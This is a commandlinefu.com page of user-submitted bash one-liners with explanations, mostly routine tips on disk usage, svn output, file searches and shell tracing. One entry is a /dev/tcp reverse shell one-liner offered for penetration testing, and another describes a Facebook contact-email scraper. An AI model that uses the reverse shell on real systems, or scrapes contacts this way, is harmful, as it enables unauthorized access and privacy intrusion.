What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Universal configuration monitoring and system of record for IT.

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:



May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!

Top Tags





Commands tagged bash from sorted by
Terminal - Commands tagged bash - 726 results
du -kd | egrep -v "/.*/" | sort -n
2010-03-30 15:40:35
User: rmbjr60
Functions: du egrep sort

Thanks for the submit! My alternative produces summaries only for directories. The original post additionally lists all files in the current directory. Sometimes the files, they just clutter up the output. Once the big directory is located, *then* worry about which file(s) are consuming so much space.

count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
2010-03-30 04:02:29
User: dabom
Functions: echo read true
Tags: bash read Game

Really bored during class so I made this...

Basically, you hold period (or whatever) and hit enter after a second and you need to make the next line of periods the same length as the previous line...

My record was 5 lines of the same length.

It's best if you do it one handed with your pointer on period and ring on enter.

find ${PATH//:/ } -iname "*admin*" -executable -type f
2010-03-29 10:20:07
User: sanmiguel
Functions: find
Tags: bash find unix

While it seems (to me at least) a little counter-intuitive to filter on name first, this requires less work for find, as it allows it to immediately discount any files that do not match the name directly from the directory listing on disk. Querying against file attributes requires reading the file attributes, which is performed for all files matching any name based predicates.

svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/"
2010-03-26 15:44:04
Functions: sed sort stat
Tags: bash svn sed

Use color escape sequences and sed to colorize the output of svn stat -u.

Colors: http://www.faqs.org/docs/abs/HTML/colorizing.html

svn stat characters: http://svnbook.red-bean.com/en/1.4/svn-book.html#svn.ref.svn.c.status

GNU Extensions for Escapes in Regular Expressions: http://www.gnu.org/software/sed/manual/html_node/Escapes.html

alias dush="du -sm *|sort -n|tail"
2010-03-26 10:18:57
User: funky
Functions: alias

sorts the files by integer megabytes, which should be enough to (interactively) find the space wasters. Now you can


for the above output,

dush -n 3

for only the 3 biggest files and so on. It's always a good idea to have this line in your .profile or .bashrc

printf ${PATH//:/\\n}
ls -d $(echo ${PATH//:/ }) > /dev/null
if [ "$(ping -q -c1 google.com)" ];then wget -mnd -q http://www.google.com/intl/en_ALL/images/logo.gif ;fi
2010-03-23 04:15:03
User: alf
Functions: wget

Bash scrip to test if a server is up, you can use this before wget'ing a file to make sure a blank one isn't downloaded.

find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +
2010-03-21 22:23:44
Functions: find

This normalizes volume in your mp3 library, but uses mp3gain's "album" mode. This applies a gain change to all files from each directory (which are presumed to be from the same album) - so their volume relative to one another is changed, while the average album volume is normalized. This is done because if one track from an album is quieter or louder than the others, it was probably meant to be that way.

find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | dd of=$0' {} \;
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
2010-03-18 17:25:08
User: truemilk
Functions: exec

Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory.


/dev/tcp and /dev/udb redirects must be enabled at compile time in Bash.

Most Linux distros enable this feature by default but at least Debian is known to disable it.



echo $(( `ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l` ))
2010-03-12 08:42:49
User: AskApache
Functions: echo wc

There is a limit to how many processes you can run at the same time for each user, especially with web hosts. If the maximum # of processes for your user is 200, then the following sets OPTIMUM_P to 100.

OPTIMUM_P=$(( (`ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l`) / 2 ))

This is very useful in scripts because this is such a fast low-resource-intensive (compared to ps, who, lsof, etc) way to determine how many processes are currently running for whichever user. The number of currently running processes is subtracted from the high limit setup for the account (see limits.conf, pam, initscript).

An easy to understand example- this searches the current directory for shell scripts, and runs up to 100 'file' commands at the same time, greatly speeding up the command.

find . -type f | xargs -P $OPTIMUM_P -iFNAME file FNAME | sed -n '/shell script text/p'

I am using it in my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html especially for the xargs command. Xargs has a -P option that lets you specify how many processes to run at the same time. For instance if you have 1000 urls in a text file and wanted to download all of them fast with curl, you could download 100 at a time (check ps output on a separate [pt]ty for proof) like this:

cat url-list.txt | xargs -I '{}' -P $OPTIMUM_P curl -O '{}'

I like to do things as fast as possible on my servers. I have several types of servers and hosting environments, some with very restrictive jail shells with 20processes limit, some with 200, some with 8000, so for the jailed shells my xargs -P10 would kill my shell or dump core. Using the above I can set the -P value dynamically, so xargs always works, like this.

cat url-list.txt | xargs -I '{}' -P $OPTIMUM_P curl -O '{}'

If you were building a process-killer (very common for cheap hosting) this would also be handy.

Note that if you are only allowed 20 or so processes, you should just use -P1 with xargs.

alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
2010-03-09 21:48:41
User: busybee
Functions: alias awk find head sort vim wc

This makes an alias for a command named 'busy'. The 'busy' command opens a random file in /usr/include to a random line with vim. Drop this in your .bash_aliases and make sure that file is initialized in your .bashrc.

file -L <library> | grep -q '64-bit' && echo 'library is 64 bit' || echo 'library is 32 bit'
2010-03-07 06:31:35
User: infinull
Functions: echo file grep
Tags: bash

file displays a files type

the -L flag means follow sym-links (as libraries are often sym-linked to another this behavior is likely preferred)

more complex behavior (*two* grep commands!) could be used to determine if the file is or is not a shared library.

libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
2010-03-07 04:24:08
User: birnam
Functions: echo grep sed wc
Tags: bash nm

Determines the flavor of a shared library by looking at the addresses of its exposed functions and seeing if they are 16 bytes or 8 bytes long. The command is written so the library you are querying is passed to a variable up font -- it would be simple to convert this to a bash function or script using this format.

box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
2010-02-26 17:14:52
User: mightybs
Functions: c++ echo unset
Tags: bash echo

First argument: string to put a box around.

Second argument: character to use for box (default is '=')

Same as command #4962, cleaned up, shortened, and more efficient. Now a ' * ' can be used as the box character, and the variables get unset so they don't mess with anything else you might have.

They marked c++ as a function for this command, but I'm not sure why. Must be a bug.

any_script.sh < <(some command)
2010-02-21 18:44:33
User: cb0
Tags: bash

Sometimes you have a script that needs and inputfile for execution. If you don't want to create one because it may contain only one line you can use the `

mysql -uuser -ppass dbname < <(echo "SELECT * FROM database;")

This can be very usefull when working with mysql as I showed in the example code above. This will create a temporary file that is used to execute mysql and for example select all entrys from a specific database.

SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
2010-02-14 20:57:29
User: cfajohnson
Functions: set

Turn shell tracing and verbosity (set -xv) on/off in any Bourne-type shell

If either -x or -v is set, the function turns them both off.

If neither is on, both are turned on.

function setx(){ sed '/[xv]/!Q2' <<< $- && { set +xv; export PS4=">>> "; } || { export PS4="`tput setaf 3`>>> `tput sgr0`"; set -xv; }; }
2010-02-14 01:25:44
User: AskApache
Functions: export sed set

Running this command turns shell tracing and shell verbose debugging on or off. Not only does it do that, it also uses your terminals builtin method of setting colors to make debugging much easier.

It looks at the current shell options contained in the $- special bash variable and that lets this function set the opposite of the current value. So from the shell you could do a:

setx; echo "y" | ( cat -t ) | echo "d"; setx

and it will turn on debbuggin.

This is an amazingly useful function that is perfect to add system-wide by adding it to /etc/profile or /etc/bashrc.. You can run it from the shell, and you can also use it in your shell scripts like my .bash_profile - http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html

2010-02-06 18:35:10
User: drewk

Bash has a great history system of its commands accessed by the ! built-in history expansion operator (documented elsewhere on this site or on the web). You can combine the ! operator inside the process redirection

Very handy.

find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; }
2010-02-04 12:40:44
User: shadycraig
Functions: echo head

Works recusivley in the specified dir or '.' if none given.

Repeatedly calls 'find' to find a newer file, when no newer files exist you have the newest.

In this case 'newest' means most recently modified. To find the most recently created change -newer to -cnewer.

fbemailscraper YourFBEmail Password
2010-01-31 00:44:35
User: dabom

(Apparently it is too long so I put it in sample output, I hope that is OK.)

Run the long command (or put it in your .bashrc) in sample output then run:

fbemailscraper YourFBEmail Password

Voila! Your contacts' emails will appear.

Facebook seems to have gotten rid of the picture encoding of emails and replaced it with a text based version making it easy to scrape!

Needs curl to run and it was made pretty quickly so there might be bugs.